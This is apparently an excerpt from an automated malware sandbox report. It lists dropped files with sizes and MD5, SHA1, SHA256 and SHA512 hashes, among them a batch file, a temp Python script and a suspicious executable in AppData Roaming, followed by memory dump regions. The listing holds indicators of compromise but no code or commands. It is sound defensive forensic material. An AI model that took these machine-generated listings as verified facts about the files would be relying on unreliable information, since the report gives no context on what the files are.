0f58bf21ee0cdb5482ebefc6f8dffd1e40841eb24fc947a2ea0e4975eba1cd34

SHA512
94b66c9b3cafcfff0b00bdc4f267b3a74e6edf72f45bc2d14401483be859efa57c09e124b682fe845a9d28e42dec144fac772a13b66b164dca62bca0446f7a27

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations

Filesize
86B

MD5
f732dbed9289177d15e236d0f8f2ddd3

SHA1
53f822af51b014bc3d4b575865d9c3ef0e4debde

SHA256
2741df9ee9e9d9883397078f94480e9bc1d9c76996eec5cfe4e77929337cbe93

SHA512
b64e5021f32e26c752fcba15a139815894309b25644e74ceca46a9aa97070bca3b77ded569a9bfd694193d035ba75b61a8d6262c8e6d5c4d76b452b38f5150a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
beac29d9554c372bc053ee4d0f6a89b9

SHA1
aedb3064f1980b274d2eebdd97cd415687604bfb

SHA256
f0c48ea7a778162a1235c4007f3ea8ce4dc1f1a3be100159ac6d937cc13d5d5b

SHA512
82c1baae87f3eddb863682a35e01e1037979331ff2f671b809b0d4442ef2661e5dde568915635d5eb2226dba03fb4b0cff790f0925569f60df8811df9fee15b9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
d19326e75735a65fbd691544443fa30d

SHA1
12d218b26cf3cd27ae0fa16d53c31705e567c2ba

SHA256
072cf1080f5981d5a4866e4773dd43958b6bbb80f6eacc79272c3372419d3fca

SHA512
bcde4c8729cc8b88e45ab0683b3d58502237403b6003f859dbca6a7aff7ef4cd5d2043152c3f7d2e571d16cf795989f6ff06d7e5073281259c029c4e6e47151f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqrmsy1s.xya.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\main.py

Filesize
5KB

MD5
aa214e7b8696382bdc34b4122f001cfc

SHA1
8eb821b861487e9a508f405db163a2c5e12cb3f2

SHA256
484efff3a213de2098b2943b80b4520f459bc74b253f78be03c3b6c32a22b747

SHA512
806793ba81621fba580fcc51032a381c5625e3c1602ec57ef063bc99bc57e11d10a21cbec4f0099d46736e9b9f26b04f542b994a2ac6ad020fd3f1d083499c68

Download Submit
C:\Users\Admin\AppData\Local\Temp\pFKA1hMsp9.bat

Filesize
179B

MD5
a59ff0278361da960b1dbc4b1971f222

SHA1
d9ffcda832955d5145d2d431d6cb3846780ed99d

SHA256
5641af7c557dc10444e777b6a225ebba2d60349cced35964ea34d5de27244196

SHA512
7e713712a776ade4433093706b4cd5754431d57365bd79354bccfa030ed9f110ef707084b60814fe4380dfd32861d9d993dcfcca3a6d48ed4f548911191fc951

Download Submit
C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe

Filesize
2.3MB

MD5
ce2e801c8d8413da9fe8f98723aab971

SHA1
784e4689c62131f43e4c9cd5883f433b88cf08d6

SHA256
79af1d0cd368f54b46320eceb7d9931049daf12207ff5e2226f10d9f8e068ca2

SHA512
951e938d6e52a6c2918bb0ad86b85cbc107092b6add73fda1ad6b312d3cc47864809370341b513aacbb4ea77002cb1822e7b8c1ab4429e56f2d32b7b16a4e664

Download Submit
\??\pipe\crashpad_2608_ZMLKXMSJKOPHYZVT

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1136-1-0x000000007FAA0000-0x000000007FE71000-memory.dmp

Filesize
3.8MB

Download
memory/1136-0-0x0000000000400000-0x0000000000E07000-memory.dmp

Filesize
10.0MB

Download
memory/1136-3-0x000000007FAA0000-0x000000007FE71000-memory.dmp

Filesize
3.8MB

Download
memory/1136-2-0x0000000000400000-0x0000000000E07000-memory.dmp

Filesize
10.0MB

Download
memory/1528-102-0x0000000002F90000-0x0000000002F9E000-memory.dmp

Filesize
56KB

Download
memory/1528-97-0x000000001C6E0000-0x000000001C730000-memory.dmp

Filesize
320KB

Download
memory/1528-94-0x000000001BAE0000-0x000000001BAFC000-memory.dmp

Filesize
112KB

Download
memory/1528-91-0x0000000002F80000-0x0000000002F8E000-memory.dmp

Filesize
56KB

Download
memory/1528-76-0x0000000000B40000-0x0000000000D46000-memory.dmp

Filesize
2.0MB

Download
memory/1528-100-0x000000001C690000-0x000000001C6A8000-memory.dmp

Filesize
96KB

Download
memory/1528-104-0x0000000002FA0000-0x0000000002FAE000-memory.dmp

Filesize
56KB

Download
memory/1528-107-0x000000001C6B0000-0x000000001C6BC000-memory.dmp

Filesize
48KB

Download
memory/1528-111-0x000000001C6C0000-0x000000001C6CE000-memory.dmp

Filesize
56KB

Download
memory/1528-113-0x000000001C6D0000-0x000000001C6DC000-memory.dmp

Filesize
48KB

Download
memory/1928-146-0x00000204D9B80000-0x00000204D9BA2000-memory.dmp

Filesize
136KB

Download
memory/2160-42-0x00000000070E0000-0x00000000070EE000-memory.dmp

Filesize
56KB

Download
memory/2160-21-0x0000000005B40000-0x0000000005B5E000-memory.dmp

Filesize
120KB

Download
memory/2160-44-0x00000000071E0000-0x00000000071FA000-memory.dmp

Filesize
104KB

Download
memory/2160-41-0x00000000070B0000-0x00000000070C1000-memory.dmp

Filesize
68KB

Download
memory/2160-40-0x0000000007140000-0x00000000071D6000-memory.dmp

Filesize
600KB

Download
memory/2160-39-0x0000000006F20000-0x0000000006F2A000-memory.dmp

Filesize
40KB

Download
memory/2160-38-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

Filesize
104KB

Download
memory/2160-37-0x00000000074E0000-0x0000000007B5A000-memory.dmp

Filesize
6.5MB

Download
memory/2160-36-0x0000000074F40000-0x00000000756F1000-memory.dmp

Filesize
7.7MB

Download
memory/2160-33-0x0000000006140000-0x000000000615E000-memory.dmp

Filesize
120KB

Download
memory/2160-35-0x0000000006D40000-0x0000000006DE4000-memory.dmp

Filesize
656KB

Download
memory/2160-34-0x0000000074F40000-0x00000000756F1000-memory.dmp

Filesize
7.7MB

Download
memory/2160-23-0x0000000006100000-0x0000000006134000-memory.dmp

Filesize
208KB

Download
memory/2160-24-0x0000000071020000-0x000000007106C000-memory.dmp

Filesize
304KB

Download
memory/2160-22-0x0000000005B60000-0x0000000005BAC000-memory.dmp

Filesize
304KB

Download
memory/2160-43-0x00000000070F0000-0x0000000007105000-memory.dmp

Filesize
84KB

Download
memory/2160-17-0x00000000056B0000-0x0000000005A07000-memory.dmp

Filesize
3.3MB

Download
memory/2160-11-0x0000000074F40000-0x00000000756F1000-memory.dmp

Filesize
7.7MB

Download
memory/2160-45-0x0000000007130000-0x0000000007138000-memory.dmp

Filesize
32KB

Download
memory/2160-9-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/2160-10-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/2160-8-0x0000000004CA0000-0x0000000004CC2000-memory.dmp

Filesize
136KB

Download
memory/2160-7-0x0000000074F40000-0x00000000756F1000-memory.dmp

Filesize
7.7MB

Download
memory/2160-6-0x0000000004F30000-0x000000000555A000-memory.dmp

Filesize
6.2MB

Download
memory/2160-5-0x0000000000EB0000-0x0000000000EE6000-memory.dmp

Filesize
216KB

Download
memory/2160-4-0x0000000074F4E000-0x0000000074F4F000-memory.dmp

Filesize
4KB

Download
memory/2160-46-0x0000000007220000-0x0000000007242000-memory.dmp

Filesize
136KB

Download
memory/2160-47-0x0000000008110000-0x00000000086B6000-memory.dmp

Filesize
5.6MB

Download
memory/2160-67-0x0000000074F40000-0x00000000756F1000-memory.dmp

Filesize
7.7MB

Download